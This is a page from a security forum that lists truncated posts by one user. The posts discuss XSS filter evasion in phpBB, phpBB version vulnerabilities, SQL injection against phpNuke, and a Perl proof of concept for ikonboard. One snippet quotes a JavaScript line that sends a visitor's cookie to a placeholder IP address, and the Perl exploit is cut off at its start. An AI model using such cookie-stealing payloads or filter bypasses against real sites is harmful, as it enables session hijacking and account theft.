 |
|
 |
 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 127
 Members: 0
 Total: 127
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
| chiche |
|
| Replies: 3 |
| Views: 10585 |
|
|
 |
|
 |
|
argentino:
lo que queria era escapar de alguna forma las comillas simples para poder ejecutar codigo javascript en el foro con mi direccion:
document.location= 'XX.XX.XX.XX/algo.php?cookie=' + win ... |
|
|
|
| chiche |
|
| Replies: 3 |
| Views: 10585 |
|
|
|
|
|
|
Hello.
Im trying to escape single quotes in phpbb.
I tried String.fromCharCode() without luck.
I was also thinking in <script src = '...
but it use quotes too.
Any new idea? |
|
|
|
| chiche |
|
| Replies: 5 |
| Views: 14462 |
|
|
|
|
|
|
maybe u are rigth about the version.
i didnt know if u dont use the upgrate script, the programa version dont change.
whatabaout 2.0.11, any vuln has been made public at the moment? |
|
|
|
| chiche |
|
| Replies: 0 |
| Views: 12614 |
|
|
|
|
|
|
I found a proof of concept for ikonboard:
#!/usr/bin/perl -w
use strict;
my $HOST = 'www.example.com';
my $PORT = 80;
my $PATH = '/cgi-bin/ikonboard.cgi';
my $HEAD = qq|"Content-type: text/p ... |
|
|
|
| chiche |
|
| Replies: 5 |
| Views: 14462 |
|
|
|
|
|
|
testing again i can see that your code works for phpbb 2.0.8 but dont work for 2.0.10.
works fine in 2.0.8, nice work, thanx.
if u have any idea about 2.0.10 please let me know, thanx. |
|
|
|
| chiche |
|
| Replies: 5 |
| Views: 14462 |
|
|
|
|
|
|
im testing it but this only work in your example.
do i have to change anithing? |
|
|
|
| chiche |
|
| Replies: 5 |
| Views: 14462 |
|
|
|
|
|
|
hello again forum.
here is my question ...
is there a way to obtain the preffix of an sql table for example to make a proof of concept for example for a phpBB forum.
If the instalation is standard ... |
|
|
|
|
Hi again forum.
I learned to program my own cookies so i make work some proff of concept from this page.
Now i am with phpnuke and the sql injections on it.
In several sites i get the following dat ... |
|
|
|
|
Hello people, this is my firt post at the forum.
In the last time i have been testing diferents exploits related to sql injection and similar stuff becouse im intresting in the security of web aplica ... |
|
|
| Page 1 of 1 |
All times are GMT |
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|
